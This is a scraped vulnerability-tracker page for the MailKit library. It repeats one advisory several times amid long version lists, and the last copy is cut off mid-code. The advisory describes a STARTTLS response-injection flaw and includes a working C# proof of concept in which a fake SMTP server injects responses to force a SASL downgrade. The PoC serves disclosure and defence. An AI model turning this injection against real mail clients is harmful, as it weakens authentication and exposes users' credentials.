            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Dec 11, 2021

2.15.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Aug 19, 2021

2.14.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jul 28, 2021

2.13.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jun 12, 2021

2.12.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
